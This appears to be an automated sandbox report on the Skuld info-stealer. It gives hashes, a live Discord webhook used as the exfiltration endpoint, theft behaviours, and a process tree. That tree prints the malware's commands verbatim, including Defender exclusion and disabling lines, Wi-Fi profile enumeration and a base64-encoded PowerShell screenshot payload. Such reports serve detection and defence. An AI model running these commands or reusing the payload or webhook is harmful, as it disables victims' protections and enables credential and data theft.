Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-01-2025 22:57

General

  • Target

    skuld.exe

  • Size

    9.9MB

  • MD5

    20d4e8cd4d7ad2be646a6f690e10967e

  • SHA1

    4e02e5246029b887de413b1b010fa644113de175

  • SHA256

    ff281478f9da1e419f62096ffbb6264e813e96ef5d50c336a8b3b7ec6d8cdd26

  • SHA512

    8ac7c4b807b61105bd9b2e0099094d27786c82e0e42977f570f8a9c33e60dc8da5d0e41adcbd3f7963279d9486a76eb0aec61d28056e7db9b32ec359ad0646ab

  • SSDEEP

    98304:IVitVGghUWPXSY3AYDutQLhv0/HMEeLsIGBD1E3/:IVmhUWwvtQLhc/HlJrE3/

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1330671297495044137/7gggydtTsHUopBaqqQiMB0z851EUsj26f27K8XZtS5_-RCO-zV7_JJBvZiO_yGCUQYDu

Signatures

  • Skuld family
  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4232
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Views/modifies file attributes
      PID:1600
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4932
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:776
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:4896
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3312
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:4872
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      PID:4108
    • C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      2⤵
      • Drops file in Drivers directory
      • Views/modifies file attributes
      PID:1864
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
        PID:2320
      • C:\Windows\system32\attrib.exe
        attrib +r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:796
      • C:\Windows\system32\netsh.exe
        netsh wlan show profiles
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Network Configuration Discovery: Wi-Fi Discovery
        PID:540
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4684
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\lyqftmbp\lyqftmbp.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4256
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC091.tmp" "c:\Users\Admin\AppData\Local\Temp\lyqftmbp\CSC5B5B4FC7B32349ADB5679ABC73945329.TMP"
            4⤵
              PID:4952

      Network

      MITRE ATT&CK Enterprise v15

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        6d3e9c29fe44e90aae6ed30ccf799ca8

        SHA1

        c7974ef72264bbdf13a2793ccf1aed11bc565dce

        SHA256

        2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

        SHA512

        60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        34f595487e6bfd1d11c7de88ee50356a

        SHA1

        4caad088c15766cc0fa1f42009260e9a02f953bb

        SHA256

        0f9a4b52e01cb051052228a55d0515911b7ef5a8db3cf925528c746df511424d

        SHA512

        10976c5deaf9fac449e703e852c3b08d099f430de2d7c7b8e2525c35d63e28b890e5aab63feff9b20bca0aaf9f35a3ba411aee3fbeee9ea59f90ed25bd617a0b

      • C:\Users\Admin\AppData\Local\Temp\RESC091.tmp

        Filesize

        1KB

        MD5

        7138dc1d5b5a873fa2c685a1a8412963

        SHA1

        dc8870eefb1d71b1f0dfef51d3cf51bf794a8d66

        SHA256

        e8883b71d9530fd406afc6ac1366316fb93bfebec14d160af202ba8a01b0af83

        SHA512

        5c38df0eb65e2c70b3eae4e9ffa02dbed3321881b492e876da83e7c754dccbeb90ef3e37cfd4fdf0b0a6dbf8ecbd1510b21460457abdd0be500dbd8df1c5ec81

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jndpdtoq.ne3.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\lyqftmbp\lyqftmbp.dll

        Filesize

        4KB

        MD5

        a2dc65a02d61b535307f0e8041e65523

        SHA1

        57ed15f0f887806579708a7fbab03dc0e1ae6fe8

        SHA256

        2eea014fe8b146e5f37e6b24206493198b9db30a40506242b3ea93d87126c094

        SHA512

        d191f1379525df82ef6468d36e521a00c7382750bae37ff20f85472cd38a79ec270675460d61618a30839b0b2faafdd14c82e1b54590a8b5643fead2196f58f2

      • C:\Users\Admin\AppData\Local\Temp\wy5GmI0jLF\Display (1).png

        Filesize

        411KB

        MD5

        1fcfa6bfa21774cbfda0206f35a02031

        SHA1

        efadbad736ec4f8acb54ba84f6208687d3f840ac

        SHA256

        adf4bac1500dcd0953b5288adf0bbae8fdbd71eb25e46406d4420b71999fa4c7

        SHA512

        2bc52cf94e48ee316fc6542e057199dc6326136d7cd440b3dc44b92bc07e3f5146414fe1e1655cd58baddfc723beffa8aa2d5ca8d8a61cca341ffc1956d23419

      • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

        Filesize

        9.9MB

        MD5

        20d4e8cd4d7ad2be646a6f690e10967e

        SHA1

        4e02e5246029b887de413b1b010fa644113de175

        SHA256

        ff281478f9da1e419f62096ffbb6264e813e96ef5d50c336a8b3b7ec6d8cdd26

        SHA512

        8ac7c4b807b61105bd9b2e0099094d27786c82e0e42977f570f8a9c33e60dc8da5d0e41adcbd3f7963279d9486a76eb0aec61d28056e7db9b32ec359ad0646ab

      • C:\Windows\System32\drivers\etc\hosts

        Filesize

        2KB

        MD5

        6e2386469072b80f18d5722d07afdc0b

        SHA1

        032d13e364833d7276fcab8a5b2759e79182880f

        SHA256

        ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

        SHA512

        e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

      • \??\c:\Users\Admin\AppData\Local\Temp\lyqftmbp\CSC5B5B4FC7B32349ADB5679ABC73945329.TMP

        Filesize

        652B

        MD5

        7ebddabf7d772de2a2488ca641b28884

        SHA1

        fd9151d517d8e971265464ded435bfd5f9df33d3

        SHA256

        ffd7291acf7bc95a93d8e1d0490a92765070edfa26cbda4ba595f2a0d71ec0b3

        SHA512

        5f06d7878d589c73e6784b0d1a1ad6f8f3535a5472573e60fac9c25e85dca14145506dddf1858a79c1bf6551443dd67183093e82e4a5a550cf396d03f63a9f97

      • \??\c:\Users\Admin\AppData\Local\Temp\lyqftmbp\lyqftmbp.0.cs

        Filesize

        1004B

        MD5

        c76055a0388b713a1eabe16130684dc3

        SHA1

        ee11e84cf41d8a43340f7102e17660072906c402

        SHA256

        8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

        SHA512

        22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

      • \??\c:\Users\Admin\AppData\Local\Temp\lyqftmbp\lyqftmbp.cmdline

        Filesize

        607B

        MD5

        9738b20d5bac8f89bf582e2f45fed927

        SHA1

        c0350cb686f3b95a9186af2527ee968d1b24ecec

        SHA256

        5322404c3fa27fee6e885d48dfba9cea1e3f43bd7a9e5893ed3fd36c37025c8d

        SHA512

        1ef98995bd0d6050aef2729b596722123e9adb98378774f9a29c86c4e7ada9a8a6f5ef5436a214f306a56d47dea0441c78523da2af121885a65798d6b9b3a490

      • memory/4684-63-0x000001ACABA60000-0x000001ACABA68000-memory.dmp

        Filesize

        32KB

      • memory/4932-13-0x00007FFB308F0000-0x00007FFB313B1000-memory.dmp

        Filesize

        10.8MB

      • memory/4932-2-0x00007FFB308F0000-0x00007FFB313B1000-memory.dmp

        Filesize

        10.8MB

      • memory/4932-12-0x000001ABD1180000-0x000001ABD11A2000-memory.dmp

        Filesize

        136KB

      • memory/4932-1-0x00007FFB308F3000-0x00007FFB308F5000-memory.dmp

        Filesize

        8KB

      • memory/4932-22-0x00007FFB308F0000-0x00007FFB313B1000-memory.dmp

        Filesize

        10.8MB